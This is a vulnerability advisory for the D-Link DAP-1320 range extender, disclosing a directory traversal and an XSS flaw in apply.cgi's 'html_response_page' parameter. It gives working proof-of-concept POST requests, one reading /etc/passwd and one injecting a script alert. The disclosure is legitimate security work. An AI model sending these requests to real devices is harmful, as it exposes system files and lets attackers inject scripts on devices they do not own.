D-Link DAP-1320 Directory Traversal / Cross Site Scripting

`D-Link's DAP-1320 Wireless Range Extender suffers from both a  
directory traversal and a XSS vulnerability on all firmware versions.  
(current v. 1.20B07)  
  
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Directory Traversal  
CWE-22: Path Traversal  
  
The POST param 'html_response_page' of apply.cgi suffers from a  
directory traversal vulnerability.  
  
The following example will display the contents of /etc/passwd:  
  
http://<IP>/apply.cgi  
Pragma: no-cache  
Cache-control: no-cache  
Content-Type: application/x-www-form-urlencoded  
  
POST html_response_page=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&login_name=&html_response_message=just_login&log_pass=&login_n=admin&action=do_graph_auth&tmp_log_pass=PAN&tmp_log_pass_auth=FRIED&graph_code=0DEY&session_id=57687&gcode_base64=8TEHPOO%3D  
HTTP/1.1  
  
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XSS  
CWE-79: Cross Site Scripting  
  
The POST param 'html_response_page' of apply.cgi suffers from a XSS  
vulnerability.  
  
Example:  
  
http://<IP>/apply.cgi  
Pragma: no-cache  
Cache-control: no-cache  
Content-Type: application/x-www-form-urlencoded  
  
POST  
html_response_page=%3Cscript%3Ealert%28"SquirrelLord"%29%3B%3C%2Fscript%3E&login_name=Huggy&html_response_message=just_login&log_pass=&login_n=admin&action=do_graph_auth&tmp_log_pass=pop&tmp_log_pass_auth=goes&graph_code=joffrey&session_id=57687&gcode_base64=ZZTOPI%3D  
HTTP/1.1  
  
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Vendor Link:  
http://support.dlink.com/ProductInfo.aspx?m=DAP-1320  
  
Research Contact: K Lovett  
`